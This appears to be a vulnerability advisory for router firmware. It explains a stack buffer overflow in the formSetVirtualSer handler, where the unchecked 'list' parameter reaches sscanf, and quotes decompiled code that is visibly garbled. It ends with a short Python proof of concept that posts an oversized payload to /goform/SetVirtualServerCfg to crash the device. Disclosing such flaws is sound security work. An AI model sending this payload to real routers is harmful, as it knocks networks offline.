

In function <code>formSetVirtualSer</code>, the content obtained by the program from the parameter <code>list</code> is passed to <code>v5</code>, and then the <code>v5</code> is passed into the <code>sub_76858</code> function as the second argument.

```
1 int fastcall formSetVirtualSer( DWORD *a1)
  2 {
  3
     int v1; // r0
     char s[256]; // [sp+10h] [bp-114h] BYREF
  4
     char *v5; // [sp+110h] [bp-14h]
  5
  6
     int v6; // [sp+114h] [bp-10h]
     memset(s, 0, sizeof(s));
     v6 = 0:
     15 = sub_2BABC((int)a1, "list", (int)&unk_E5960);
10
      v1 = sub 76858("adv.virtualser", v5, 0x7Eu);
11
 12
      II ( COMMITCELM(VI) )
 13
        sprintf(s, "advance type=%d", 2);
14
        send msg to netctrl(5, s);
 16
```

In sub_76858 function, the function sscanf is called to split it and copy to stack buffer without checking its length.

```
33 if ( strlen(a2) > 4 )
  34
35
         ++v16;
        v17 = a2;
37
         while (1)
  38
           v15 = strchr(v17, a3);
9 39
• 40
         if (!v15)
• 41
            break;
          *v15++ = 0;
• 42
          memset(s, 0, sizeof(s));

sprintf(s, "%s.list%d", a1, v16);

if (sscanf(v17, "%[^,]%*c%[^,]%*c%s", v12, v11, v10, v9) == 4)
43
• 44
45
 46
• 47
             sprintf(v13, "0;%s;%s;%s;1", (const char *)v10, (const char *)v11, (const char *)v12, (const char *)v9);
48
             SetValue(s, v13);
  49
9 50
           v17 = v15;
• 51
           ++v16;
```

PoC

Poc of Denial of Service(DoS)

```
import requests
data = {
    b"list": b'A'*0x400+b'~'
}
```

res = requests.post("http://192.168.0.1/goform/SetVirtualServerCfg", data=data)
print(res.content)